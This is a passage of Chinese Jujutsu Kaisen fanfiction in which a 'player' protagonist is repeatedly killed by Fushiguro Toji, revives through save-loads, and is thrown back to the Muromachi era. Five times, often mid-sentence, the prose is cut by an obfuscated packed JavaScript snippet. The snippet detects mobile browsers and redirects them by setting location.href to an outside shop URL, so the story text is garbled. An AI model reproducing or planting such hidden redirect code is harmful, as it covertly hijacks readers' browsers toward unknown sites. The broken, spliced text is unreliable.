【玩家你又不是第一天知道咒术高层都是一群烂货,不然未来的五条悟能叫他们烂橘子吗。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332751|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说的也是。”望月遥深深叹了口气,一眼望不到咒术界的未来。 出租车在病院门口碾过一块碎砖,发出吱呀的怪响,终于停了下来。 望月遥付了钱推开车门,一股混着霉味、血腥味和咒灵腐臭的气浪直接扑脸,他捂着鼻子蹲在路边干呕,眼泪都呛出来了:“我靠——这地方是把化粪池和停尸房焊一起了吧?系统你给我出来,这副本环境也太恶劣了!我要求补偿限定手办!” 【臣妾做不到捏。】 【另外建议玩家你不要吐出来哦,你吐的这些呕吐物可是会被腐秽之核当美味~吸收的呢ovo。】 “……”刚想yue两口的望月遥一听这话,一把捂住嘴深呼吸,直起身把连帽衫的帽子狠狠往下拉,遮住半张脸,“我憋!我憋还不行吗!你这说的太恶心了吧!” 【还有更恶心的,亲~】 “好了别说了,你闭嘴吧。” 他背着鼓鼓囊囊的帆布包,踩着黏糊糊的积水往病院走。 望月遥猫着腰贴着走廊的柱子,房檐上的水滴滴答答地往下落,如果抛开那股恶臭味,这里安静的就像是个正常的废弃医院,没有任何异常。 “这里真有特级咒灵?”猫了半天腰都猫累了,望月遥直起身伸了个腰,“一点咒力波动都没有。” “而且,如果有的话,不放账真的没问题吗。” 【有没有这件事,那肯定是有的,但玩家你要遭了知道吗。】 望月遥:“?” 还没想明白系统这话是什么意思,身体就下意识的往侧边一闪,下一瞬,一道冰冷的银光贴着脸颊边缘划过。 丝丝血珠从伤口里渗出。 他猛地闪身,找到掩体回头,撞进一双暗绿色的眼睛里。 男人靠在走廊尽头的墙上,穿着洗得发白的黑风衣,领口敞着,露出结实的锁骨和一道斜长的旧疤,左腰别着一把造型诡异的咒具,看着望月遥动作利落的躲过攻击,还吹了个口哨。 是伏黑甚尔。 “小鬼,身手不错。”甚尔扯了扯嘴角,斜疤在脸上扯出一抹嘲讽的笑,“高层给一亿,让我杀了你,把你那什么天灾之核带回去,选吧,是自己了断,还是让我动手?” 望月遥原本警惕的身形一僵,“哈?一亿?没想到我还挺值钱啊。” 玩家总是在莫名的地方有着极高的关注度。 伏黑甚尔漫不经心的动作一顿,挑了挑眉饶有兴致的看向面前的人,“确实,挺值钱的。” 他还从没见过有人死到临头想的不是如何自救而是纠结,自己是不是足够值钱。 “小鬼,你挺有意思,要不是任务需要,我恐怕会留你一命。”伏黑甚尔收敛了脸上的笑,抽出别在腰间的天逆鉾,压身冲向望月遥。 “下辈子投个好胎,要怪就怪你和那个「无」扯上关系了吧。” 刀刃刺破皮肤,割过动脉。 血液喷溅而出。 “……”看着倒下的尸体,伏黑甚尔甩了甩天逆鉾上的血渍,“以为能撑多久呢,无趣。” 说罢,他不再多看地上那具了无生气的躯壳,转身就走,拿出手机编辑信息。 【任务完成,目标死亡。】 【记得把钱打我账户。】 至于那个尽量伪装成意外死亡?他哪来的这么多闲工夫,反正这里的特级咒灵真实存在,等那个东西出来把人消化掉得了。 就为了这么弱一个小鬼,咒术高层那些人一个个如临大敌,呵,也是越活越回去了。 16. 第四天灾觉得很冤 伏黑甚尔的脚步声渐渐远去,最后被楼里咒灵的呜咽声彻底吞没。 地上那具“尸体”的手指突然动了动,淡蓝色的咒力像细碎的星光,从割裂的伤口处缓缓流淌出来,将翻卷的皮肉一点点缝合。 “就这么走了,也不补个刀吗?”望月遥活动了一下手指,转了转关节,甚至还伸了个懒腰,吐槽道,“怪不得故事里面的反派boss就没一个赢过的。” “他这算什么,真男人从不回头看爆炸吗?” “那我这也没炸啊。” 【玩家你悠着点吧,你的读档次数可只有9次。】 系统的机械音里带着点幸灾乐祸,【刚才那次已经用掉1次了,再死8次,你就真的要变成【腐秽之巢】的肥料了,到时候我可救不了你。】 “我刚就想说了!”望月遥瞬间炸毛,“你们这策划怎么回事,读档还限制次数!还是9次,这个数字也太微妙了吧。” “他被绿了9次?所以刻骨铭心?” 被绿9次·策划:【…………】 不得不说玩家真相了,这随口一句就戳中真相的能力它也想要。 在米花绝对好用。 系统沉默了三秒:【玩家,小声些,这难道光彩吗。】 望月遥:“?” “所以还真的是被绿了9次哦?” 望月遥刚要嘲笑出声,就听到走廊尽头传来细碎的脚步声,还有咒灵黏液流淌的黏腻声,瞬间闭了嘴,猫着腰躲到旁边的储物间里,“我去,什么东西过来了,不能是之前被我们弄死的那个黏液咒灵秽土重生找我报仇来了吧。” 【谢谢你这么久还记得它,它在天之灵一定会很感动的,阿门。】 【但很可惜不是,温馨提示:检测到3名A级咒灵傀儡,正朝着玩家当前位置移动,其目的大概率是回收玩家“尸体”。】 “他们变态吗?我都死了都不放过我的身体,你们这是正经游戏吗?” 【正儿八经的18+游戏,当然正经。】系统88很认真的为它家证明。 【所以玩家要不要来点新技能,你现在刚读档身上的咒力波动很大哦,很容易被发现。】 “说吧又要骗我多少。”望月遥对系统的狗德行了如指掌,“这次别告诉我加载新技能还会有新补丁,打死我也不要。” 【不要9999!也不要999!现在购买只需要99就能带回家!】它的机械音突然激昂起来,虽然说望月遥也不知道他是怎么听出来一个电子音的情绪的。 【没有副作用!没有新补丁!限时大甩卖走过路过不要错过!】 “停停!买,我买。”望月遥捂着耳朵咬牙切齿,“别嚎了。” 【感谢惠顾~送您一瓶空气清新剂。】 【空气清新剂:毫无卵用的空气清新剂,唯一的作用就是在玩家被咒灵的臭味熏死前提供零点几秒的慰藉,评价——拉完了。】 没再跟系统拌嘴,加载好了技能后,淡蓝色的微光从他身上蔓延开来,将他的身影隐入黑暗。 他顺着储物间的后门溜出去,贴着墙壁往负一楼的核心区挪。 等他终于爬到了负一楼的走廊尽头,看着眼前那扇泛着暗红色光的铁门,心里的吐槽瞬间停了——门后传来陌生的声音,那声音阴鸷得像指甲刮过黑板,混着咒灵的嘶吼声,听得人后颈发僵: “死了,真的死了……那个家伙的后人,居然这么不堪一击吗?” “或许对于禅院家那个弃子我们需要重新规划一下了,但现在……没必要去管他,只要能用他的尸体融合天灾之核。” “到时候……” …… “他们真以为我死了。”望月遥贴着墙根偷听,一边听一边吐槽,“他们哪来的自信啊,我这么容易就死的话那我还要不要面子。” 系统88也无奈了,【这年头反派都这样的,玩家。】 “算了。”望月遥直起身,“不听他废话了,给他解决了再说。” 他刚要冲出去,就听到身后传来一阵熟悉的脚步声,还有天逆鉾出鞘的冷光——伏黑甚尔居然回来了,靠在楼梯口,暗绿色的眼睛里满是玩味,看着他的背影,嘴角的斜疤扯出一抹嘲讽的笑: “小鬼,你居然没死?” 望月遥:“……” 这不对吧!怎么还带去而复返的,这家伙有桂吧! 他猛地回头,看着甚尔手里的天逆鉾,瞬间摆出纯良无害的表情,眨着冰蓝色的眼睛,声音软得像棉花糖:“喵喵喵?前辈在说什么呀,我怎么听不懂嘞。” 甚尔嗤笑一声,一步步走过来,天逆鉾的刃尖抵在他的胸口,冰凉的触感让望月遥瞬间僵住:“别跟我装傻充愣,小鬼。” “幻术?障眼法?不管你用的什么小手段都没用,你今天必须死。” “不是我招你惹你了!”眼看糊弄不过去,望月遥掏出一坨黏液就往人脸上糊,趁着伏黑甚尔躲避的空档,他脚底抹油,“我说白了你们都很一般啊前辈!” “包括那些高层!” 房间内的人被惊动了,披着黑袍的老者从屋内走出来,冷冷地盯着伏黑甚尔,“你失手了……追!” 伏黑甚尔看了眼脚边的一坨黑色物质,又看了眼黑袍老者,伸手掏了掏耳朵,语气懒懒散散:“你很吵,闭嘴。” “用不着你说。”他抽出天逆鉾,刀尖在昏暗的光线下泛着冷光,“我自然会解决。” *** 另一边,望月遥看着系统调出来的地下地图,脚下生风似的往通道口跑。 “我就一个高专二年级生,那群老不死的至于吗,连‘天与咒缚’都找过来了。” “那可是能在星浆体事件里面生砍五条悟的猛人啊!” 【因为玩家你这个补丁吧,确实逆天。】 “你别说逆天!”望月遥扒住通风管道口往上爬,灰尘呛得他直咳嗽,“咳咳,你要不就告诉我到底补了个什么,要不就帮我,现在、立刻、马上!” 【这个事吧……】系统88的话说到一半,就听到了伏黑甚尔冷冰冰的声音。 “跑的倒是挺快,小鬼。” 伏黑甚尔的声音从通风管上方飘下来,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332752|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着点漫不经心的嘲讽,刃尖轻轻一送,望月遥的身体瞬间软下去,意识像沉入冰冷的海底。 【系统提示:玩家死亡,现在开启第2次读档,将在十分钟后原地复生。】 伏黑甚尔站在原地,抽出插在少年胸腔的天逆鉾,刀尖刺进血肉的触感是真实的,体温逐渐消失的感觉也是真实的。 这次应该真的死了。 可他总觉得哪里出了问题。 走,还是不走。 他冷眼看着倒在地上双眼紧闭的少年,他灰蓝色的发丝沾满了血液和尘土,显得狼狈不堪,胸口处的破洞还在汩汩的流着血,在寂静的通道里只剩下血液流淌的声音。 “天灾之后……” 伏黑甚尔嗤笑一声,那所谓的天灾,早就被扭曲的不成样子了,在他的记忆里,别人的口中,那就是个意图毁灭咒术界的怪物。 这种存在也会留有后人没被咒术界那群老东西弄死,说实话他并不信。 等着吧,等一会再走。 伏黑甚尔找了个不远不近的地方坐下,死死的盯着前面的“尸体”。 望月遥的灵体飘在伏黑甚尔的头顶,气得浑身哆嗦。 “系统,他是不是有什么毛病!我都死那了,死的透透的了他居然还坐在旁边盯着!” 【……可能他觉得你的遗体也风韵犹存吧,玩家。】 神特喵风韵犹存! 他现在要不是个灵体他的脸绝对涨得通红,气的,红温了。 “不管这个变态了,赶紧给我交代,你到底给我打了什么补丁。” 眼瞅着火要烧到它身上来了,系统88赶忙转移话题,可惜并没有什么用。 “我劝你老实点,不然我投诉你。” 【……】 【好吧。】它也没招了,【大概率就是你被当成想要毁灭咒术界的怪物的后人了吧。】 望月遥:“?” “我,毁灭咒术界?这不是杰要做的事吗,跟我有什么关系。”望月遥眼神都清澈了,指了指自己又指了指下面的伏黑甚尔。 “啊不对,他是要毁灭普通人,不过也没差。” “就算是杰,也没人这么搞他吧?搞针对啊,看我好欺负啊。” 【哎呀,不是你要搞事情,是你那个补丁,补充的背景里面有个人要搞事情。】 【你被连坐了。】 望月遥:“我有一句mmp不知当讲不当讲。” “所以就为了那个想要毁灭咒术界的补丁,甚至都不知道是不是真实存在的补丁,咒术高层那群老不死的这么搞我。” 【存在即真实啊玩家。】系统88语重心长道,【这补丁打上了那就是真实存在的事件,所以,你也不算冤。】 望月遥深吸一口气,虽然灵体状态下没有呼吸,但不妨碍他做个动作,“行,那我能不能直接给那个补丁扒了,或者干脆撇清关系说我跟那个天灾没有半毛钱关系。” 【亲,你觉得有可能吗。】 【十分钟马上要到了,玩家,我建议你先别琢磨这件事了,想想怎么跑吧。】 17. 愿你今晚得享美梦 “跑?我往哪跑!”望月遥对着光屏炸毛,灵体飘得都快贴到天花板了,“这破病院跟迷宫似的,外面还有个天与咒缚的杀手等着砍我!” “你看看,杀了人还守尸,这是人干的事吗。” 【这边建议玩家你复活以后马上朝左边的管道口那里跑,虽然跑掉的几率不大,但还是有机会的嘛。】一个光团子窜了出来,在它说的那个方向转了转。 它这个样子只有望月遥一个人能够看到,所以也不担心它被伏黑甚尔一刀剁成泥。 【好了,请玩家做好准备,读档倒计时10、9、8……】 “当真的倒霉,摊上这么个破补丁。” 【3、2、1。】 “等这次结束了我再找你算账。” 淡蓝色的咒力再一次包裹住望月遥的躯体,一股引力把他的灵体拽回那具还带着血腥味的身体里——他刚睁开眼,就看到天逆鉾的刃尖,正精准抵在他的眉心。 伏黑甚尔靠在旁边的铁柜上,暗绿色的眼睛里满是玩味,:“小鬼,醒了?果然啊,我的直觉是对的。” 望月遥看着眼前的刃尖,不仅不怕,反而咧嘴一笑,露出两颗小虎牙:“前辈,你打我噻,打我噻~” “略略略。”他双手揪住自己的脸摆了个奇怪的表情,吐着舌头挑衅伏黑甚尔。 伏黑甚尔:“……” 这个小鬼贱嗖嗖的啊。 甚尔嗤笑一声,天逆鉾的刃尖轻轻一送,瞬间刺穿了望月遥的心脏——温热的血顺着脸颊往下淌,意识像沉入冰冷的海底,系统的提示音清晰得刺耳: 【系统提示:玩家死亡,即将读档复活。】 【预计读档时间——8分钟。】 8分钟后。 望月遥猛地睁开眼,发现自己躺在核心区的角落里,心脏的钝痛还没消,他摸了摸胸口,连个疤都没留,“他居然捅心脏!太狠了吧,统儿啊,有没有无痛buff,我不想再体验被捅的感觉了。” 【很遗憾但并没有这种东西哦。】 【毕竟这个游戏设计之初就是奔着真实去的嘛,而且这个背景下还是有痛感比较好哦。】 “……行。”望月遥瞬间闭嘴,揉着胸口爬起来,话不投机半句多,没有就没有吧,不就是被捅,其实捅多了感觉也就那样。 这次读档没有看见伏黑甚尔,他刚想躲,就看到甚尔的身影出现在走廊尽头,天逆鉾的刃尖泛着冷光,一步步朝他走来:“小鬼,这次我换个地方捅。” 望月遥:“……” 他转身就跑,却被甚尔一把抓住后颈,天逆鉾的刃尖瞬间割断了他的喉咙——窒息感瞬间淹没了他,意识再次破碎。 【系统提示:玩家死亡,即将读档复活。】 【预计读档时间——5分钟。】 再次睁开眼,喉咙里还留着被割裂的痛感,他趴在地上干呕,眼泪都呛出来了。 “系统,你说我反杀他的概率多大。” 【37开吧。】 “我7他3?” 【反过来。】 他贴着墙壁往通风管爬,刚爬了一半,就被甚尔一脚踹下来,天逆鉾的柄狠狠砸在他的后脑勺——眼前一黑,意识再次消失。 【系统提示:玩家死亡,即将读档复活。】 【预计读档时间——3分钟。】 这一次他坐在原地一动不动,拖着下巴好整以暇的看着伏黑甚尔再一次拔出天逆鉾,甚至好心情的对他挥了挥手,“来吧来吧,抓紧时间,我赶趟。” “话说这次能换个死法吗,你那些方法我都体验过了,腻了。” 伏黑甚尔:“……你在开什么玩笑。” 望月遥看着伏黑甚尔看神经一样的眼神,突然笑了,“你还不明白吗甚尔先生,你杀不死我的啊。” “……”天逆鉾被他狠狠掷出去,贯穿了少年的头颅,他死前甚至还保持着脸上的微笑。 【系统提示:玩家死亡,即将读档复活。】 【预计读档时间——1分钟。】 一分钟的时间很快,快到他们都没有意识到时间的流逝,他就重新睁开了眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332753|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟悉的颜色再次盈满伏黑甚尔双眸,下一刻,漫天的剑刃席卷,耳边响起少年带着笑意的声音,“请,继续你的演出,甚尔先生。” 剑刃在走廊里盘旋,刃尖泛着冷光,将伏黑甚尔拦在外面——望月遥刚读档复活,连眉心的血痕都没消,却笑得一脸灿烂,指尖还转着一把精致小巧的匕首。 伏黑甚尔的眉梢狠狠跳了跳,天逆鉾还握在手里,却没再掷出去。 他杀了这小鬼六次,从心脏穿刺到钝器击头,每一次都能看着这具身体凉透,可下一秒,这小鬼总能睁着那双冰蓝色的眼睛,活蹦乱跳地站在他面前,连一道疤都留不下。 这种“不死”的特性,比咒术界任何禁术都要离谱,更让他烦躁的是——他确实杀不死这东西。 “你到底是什么东西。”甚尔的声音冷得像冰,天逆鉾的刃尖垂了下去,却没收回刀鞘,“咒术界没有能无限复活的术式,你是天灾,还是怪物?” “我是玩家啊。”望月遥歪了歪头,像是在疑惑他为什么会问出这样的问题,“我从一开始就说过了啊,我只是一个普普通通的玩家。” “我的理想就是摸鱼,可你们总是要找我的麻烦。” “所以啊……我也很烦的啊,甚尔先生。” 脚下的地面在疯狂的颤动,老旧的墙壁在簌簌的往下落灰,刺耳的尖叫声和诡异的啼哭声越来越大。 【警告!特级咒灵腐秽之巢领域即将展开,请玩家立即离开病院范围!】 【警告!领域会强制唤醒闯入者的绝望记忆,抽取咒力转化为养分,玩家请立刻防御!】 【请立刻离开!】 领域展开的瞬间,整个废弃病院彻底扭曲成了一座活地狱: 原本的走廊变成了无限循环的迷宫,墙壁上爬满黑紫色的咒纹,像无数条啃噬血肉的蛆虫在蠕动。 天花板垂落的黏液滴在地上,发出“滋滋”的腐蚀声,半凝固的血污沼泽从地底翻而上,带着细碎的人类骨渣。 “祝你今晚得享美梦,甚尔先生。” 他这么说了。 18. 白圭无玷 室町时代应永末年,越前国的深山里飘着冷雪,战火的硝烟顺着山风卷进村落,连带着咒灵的嘶吼都裹着血腥味。 望月无就出生在这样的夜里。 他的父亲是个流浪的低阶咒术师,母亲是靠种茶过活的农妇,可他刚落地的啼哭里,就带着吞噬一切的本能——父亲指尖的咒力像被无形的手拽走,瞬间枯成了灰;母亲抱着他的手臂,生命力顺着他的指尖一点点流失,最后软倒在产床上,连一句遗言都没留下。 村里的人怕极了这个“吃人的孩子”,把他裹在破布里,扔去了更深的山里。 可他靠着吞噬林间的咒灵、甚至啃噬树皮里的微量咒力活了下来,冰蓝色的眼睛像深山里的寒潭,对周围的一切都带着本能的警惕与吞噬欲。 直到禅院家的咒术师循着咒灵消失的痕迹找到他,看到他能把一只二级咒灵啃成半透明的灰,眼睛里瞬间亮起了贪婪的光:“是‘无’……五百年未见的天灾术式,居然觉醒在了一个野孩子身上。” 他们把他带回京都,锁进咒术塔最底层的囚笼,给了他“无”这个名字——既是说他眼底的纯粹,也是咒术界对他的诅咒:他的术式,是能吞噬一切的“无”。 *** “这里…是哪?”风雪裹挟着寒风,扎在年幼的孩童身上,裸露在外的皮肤冻得通红,甚至泛起了青紫,望月遥看着自己缩水的身体,眼神迷茫。 他不是被拉进病院咒灵的领域里了吗?怎么会出现在这种荒郊野岭。 【这个咒灵身上有一点天灾之核的力量,和玩家你的咒力产生了碰撞之后,把‘记忆’转变为了‘真实’。】 【简单来说就是,玩家你现在处于一个特殊的时空夹缝中,你现在处于五百年前的室町时代,也就是补丁里的那个人所处的时代。】 系统的声音带着浓浓的疲惫,那团光球在雪夜里散发着微弱的荧光,【玩家啊,你中头奖了啊。】 望月遥:“……那我现在怎么回去。” “还有,伏黑甚尔呢?” 【大概率需要玩家你自己经历望月无完整的一生后,才能结束了。】 【至于伏黑甚尔那个家伙,玩家你就别管了,他死不了。】 望月遥听着耳边光球的声音,一步一步的踩在厚厚的积雪地上,艰难地向前走。 缩水的身体不仅用不了咒力,甚至就连身体素质都完完全全的变成了普通小孩的身体素质,而且还要更差一点。 真不知道这个补丁怎么打的,怎么这么惨呢。 就在他快冻僵的时候,一阵细碎的脚步声传来,带着麦饼的香气,还有少年人粗重的呼吸。 “喂,小崽子,你怎么被扔在这儿?” 瘦得像竹竿的少年蹲下来,穿着打满补丁的粗布衫,头发乱得像鸡窝,手里攥着半块干硬的麦饼,看到雪地里被埋了大半个身子的孩子时,眼睛瞪得溜圆,小心翼翼地把他裹进自己的破外套里,体温透过布料传过来,暖得望月遥差点哭出来。 少年把他抱了起来,放在他背后的篓筐里面,踩着积雪往林外走,边走还边碎碎念:“谁家的父母这么狠心把这么小的孩子扔在雪地里,遭天谴的。” 望月遥冻得浑身发僵,想要开口说话,吐出的却是一段毫无意义的啊啊声,那个少年似是听到了身后的动静,他头也不回的安抚道:“没事没事,我带你回我家,不会冷了。” 少年棕红的短发像一团暖烘烘的火焰,莫名地,望月遥感觉身体渐渐回暖了,头一点一点的,慢慢睡着了。 他现在这个样子只是个小孩子,小孩子嗜睡很正常的,他这样想,随后心安理得的陷入了深眠。 再次醒来时他浑身已经暖洋洋的了,柴火在壁炉里燃着温暖的光,安静的室内只剩下劈啪作响柴火燃烧的声音。 在一旁捆柴火的少年听到这边的动静,停下了手中的动作,看向了把自己团成一团的孩子,“醒了啊,来喝点粥。” 那个少年没有多问什么,只是从一边端来一个还破着豁口的旧碗,里面的飘着依稀只有几粒米的水粥,混着一点面食。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332754|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉啊,家里只有这些了。”少年不好意思的笑笑,摸了摸后脑勺,“我也不知道你这个年纪的孩子该吃些什么,你先垫垫肚子吧,明天早点我出去看看。” 望月遥眨眨眼,慢吞吞的从被窝里钻出来,挪蹭到少年身旁,接过那碗不算粥的粥,小口小口的喝着。 少年看着面前的孩子乖巧的喝起粥,笑了笑,继续手上的动作,他平时靠砍柴维生,明天一早他还要背着这筐柴火去卖。 望月遥喝了几口就没再继续喝了,现在这具身体以前就没吃饱过饭,只是简单几口粥就已经把肚子撑起来了。 少年看见也没说什么,拿过粥碗放到了灶台旁边,用木板盖了起来,打算明天早上当早饭吃了。 抱过小小的孩子,少年用衣袖帮他擦了擦嘴角,才问道:“你叫什么啊,怎么一个人出现在深林里,你的父母呢?怎么都不管你。” 望月遥张了张嘴,想要回答少年的问题,可不知道怎么回事,一想说自己的名字,就有一股力量阻止他说话,无奈他只能摇了摇头。 只是他的这个动作明显让少年误会了,只见他稍稍皱了皱眉,捏了捏没几两肉的脸颊,沉吟了片刻,像是下定了决心,说道:“那你以后跟我吧,看你干干净净的,就叫白圭吧。” “白圭无玷。” 少年笑的开心,就这么三两下敲定他的名字,“我叫冬,没有姓,这个名字还是以前一个好心的猎户大叔给我取的。” 说着他敛了敛脸上的笑意,语气淡了几分,“只是他已经不在了。” 望月遥沉默了一会,突然伸出手摸上了面前少年的面颊,“不难过。” 冬显然是没有想到他会做出这样的举动,当即愣在了原地,半晌,他才回过神来,将面前小小的人抱在怀里。 “嗯,没有难过。” 从那天起,山下的小村子里的人都知道,山上那个向来独来独往的卖柴少年身后多了一个小尾巴,一贯冷漠的脸上也多了笑容。 直到那天。 大火蔓延了整座山。 19. 那一日,大火封山 从那天被冬捡回去已经过了三年了。 日子就这么平静如水的度过了,如果不是系统偶尔在他耳边吵闹,他都要以为记忆里的那些都是梦了。 【这不应该呀,那些家伙怎么还没来抓人。】系统88再一次念叨,这已经是它今天第十次念叨这句话了。 “你念叨了三年,可三年都没人来抓我。” “我真的是那个补丁里说的望月无吗?” 望月遥无语,他拎起手边的竹筐,放到后院地下窖子里,“而且我们这个时间流速真的对吗?三年啊,伏黑甚尔都要被那个咒灵砍成臊子了吧?” 【时间流速绝对没问题,原先的时间线没有改变,你只是从一个时间线跨到了另一个时间线上。】系统88语气坚定,这一点它十分肯定。 “那我真的要走完一整个人生路线吗?” 望月遥听到了冬的呼喊,扭头应了一声,关起地窖入口,往外走去。 【应该不用,你只要经历几个重要事件就行。】系统88早就弄清楚了那个补丁到底怎么回事,【你需要经历的一共三个重要事件,其中一个应该就在近期,怎么没有半点动静。】 “等着吧,你不是说了吗,就在近期了。” 【行吧。】系统咂咂嘴,虽然不知道那团光哪来的嘴,【但为什么我的警报系统一直在亮红灯,还在冒烟。】 望月遥:“?” “你是不是宕机了三年生锈了,冒红灯就算了,你一个人工智障怎么冒烟。” 浓烟先于火光卷过林梢,把正午的日头熏成一片浑浊的橘红。 望月遥又听到了冬喊他的声音,这一次更加清晰也更加急促:“白圭!快出来!” 三年时间,当初那个瘦弱的少年也抽条了不少,红棕色的发丝出现在望月遥眼里。 冬攥着柴刀的指节泛白,将望月遥拉过来,死死按在自己身侧,粗粝的掌心捂住他的口鼻:“别出声,跟着我。” 少年的声音里没了往日的温和,只剩淬了火的紧绷。 望月遥埋在他怀里,能听见对方胸腔里擂鼓般的心跳,还有身后噼啪作响的燃烧声——那是他们栖身的木屋,是冬攒了半载木料搭起的家,正一寸寸化为灰烬。 “!”他回头望去,才知道,不知道什么时候蔓延开来的火势已经把木屋吞噬了大半,“这不对!普通的火势怎么可能这么快,还脱离我的警戒。” 【检测到咒力痕迹。】系统88说道,【这确实不是普通的火,看样子他们已经来了。】 山风助着火势,把退路咬得支离破碎。 枯树在火中发出凄厉的断裂声,滚烫的灰烬落在望月遥裸露的脖颈上,他却不敢哼一声,只死死攥着冬的衣角,像抓住最后一根浮木。 “别怕。”冬低头看他,额角的汗混着烟灰淌下来,在脸颊划出两道灰黑的痕,“我带你出去。” 他把白圭推进半山腰一处狭窄的石缝,用自己的柴刀和断木死死抵住入口,只留一道缝隙透气。“待在这里,等火小了我来接你。” “冬!”望月遥伸手去抓冬,却只够到了一片滚烫的衣角。 【他要死了,玩家。】系统出声,它看到了那个少年义无反顾的往回冲,【如果不阻止他的话,那些咒术师就要杀了他了。】 “别说风凉话了!把我的术式还给我,快点!” 【不行,我也想给,但这个时间线的规则压制着我不能给你。】 【你必须要觉醒属于望月无的术式。】 他要是能觉醒那什么该死的术式他还会在这待上三年吗?!望月遥死死的咬着牙,用力的推着面前的卡的死死的柴刀和木板。 另一边,冬在藏好了望月遥之后就往反方向跑去,他今天去卖柴的时候见到了很多奇怪的东西。 那些东西长得奇形怪状,有些甚至散发着腐肉的恶臭气息,那些东西附近还有许多陌生的面孔,他们脸上冷冰冰的,没有一丝的表情。 在这个偏僻的小村子里突然多出这么多奇怪的人,冬下意识的提起了警惕,只不过他面上不显,只是装作平常的样子去卖柴,就这样,不小心听到了其中几人的谈话。 “你们确定那个怪物的咒力波动最后是出现在这一带吗?” “应该吧,再找不到,家主大人责罚下来我们谁也落不得好。” “就是没想到这种偏僻的小村落也有这么多咒灵,还都是些很弱的杂碎。” “如果是那个怪物在的话,那也不稀奇。” 冬看见一个梳着黑长马尾的男人吊着眼睛,随意伸手就捏爆了一只飘到他附近的那种东西。 “那小鬼长什么样子来着。” “灰蓝色的头发和冰蓝色的眼睛,很标准的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332755|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望月一族的长相。” “哼,本来以为望月已经是没落的氏族,没想到这一代居然出了这么个怪物。” “要是不能为我们所用,那就只能死了呢。” 听到最后这句话,冬的眼瞳猛地放大,他控制不住的往后退了几步,灰蓝色的头发,冰蓝色的双眼,他下意识的想起家里的白圭。 三年前突然出现在那片雪夜深林里的孩子。 他没有功夫去想那些奇怪的生物和这些人到底是谁,要做什么,他只能拼命地往家的方向跑。 可他跑的时候不小心踩到了断枝,咔嚓的一声脆响惊动了那些人。 “谁!”为首的吊梢眼男子狠厉的出声呵斥,“你们,过去追!” 不行,他不能被抓到,白圭还在家等他。 他对林子的熟悉度远超这几个外来者,但他没有想到,他们居然疯到直接放火烧了一整座山,他只能把白圭藏到一处石缝里,自己去引开那些人。 “躲好!不要出去!听到任何动静都不要出去!”冬的声音被火声吞掉大半,却清晰得像刻在骨头上,“我如果没有回来,等上七天,自己跑。” 石缝外的世界成了一片炼狱。 望月遥听见冬的脚步声踩过焦土,听见他高声呼喊着引开扑来的火舌,听见树木轰然倒塌的巨响。 火舌舔舐着山林的第三日,望月遥听见了不同于火势的声响——那是咒术师特有的咒力波动,带着冰冷的压迫感,还有男人刻意压低的交谈。 “那怪物就在石缝里?” “是,禅院大人说了,是‘无’的转世,必须抓活。” “那个卖柴的小子……是他的同伴?” “留他一条贱命,有用。” 望月遥指尖猛地攥紧。 他看见了那个熟悉的身影,红棕色的头发沾满了灰尘粘着干涸的血块,身体软软的倒在一边,如果不是他的胸膛还在轻微的起伏,他都要以为,他已经死了。 【玩家…他还活着。】系统不忍心的出声打破了这安静的过分的氛围,【这只是打的补丁,游戏的故事背景,不要太放在心上。】 